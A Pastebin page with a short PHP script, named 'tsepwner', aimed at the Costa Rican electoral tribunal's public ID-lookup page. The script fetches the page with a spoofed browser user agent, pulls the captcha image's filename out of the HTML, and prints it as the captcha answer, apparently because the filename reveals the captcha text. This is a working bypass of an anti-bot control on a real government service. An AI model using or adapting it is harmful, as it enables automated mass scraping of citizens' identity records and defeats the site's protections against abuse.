Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- class tsepwner{
- private $url;
- private $sourcecode;
- private $captcha;
- public function getSourceCode($target){
- $this->url=$target;
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, $this->url);
- curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- $data = curl_exec($curl);
- $this->sourcecode = $data;
- curl_close($curl);
- }
- public function readCaptcha(){
- preg_match('/<img id="picCaptcha" [^>]*src="imagenes\/([^"]*).bmp"[^>]*>/', $this->sourcecode, $this->captcha);
- echo '<font size="4px">Captcha del Sitio: </font><br><image src="http://www.tse.go.cr/consulta_persona/imagenes/'.$this->captcha[1].'.bmp"><br>';
- echo '<font size="4px">La combinacion de caracteres obtenida para este captcha es: </font><br><font size="6px">'.$this->captcha[1].'</font>';
- }
- }
- $url = "http://www.tse.go.cr/consulta_persona/consulta_cedula.aspx";
- $pwn=new tsepwner();
- $pwn->getSourceCode($url);
- $pwn->readCaptcha();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement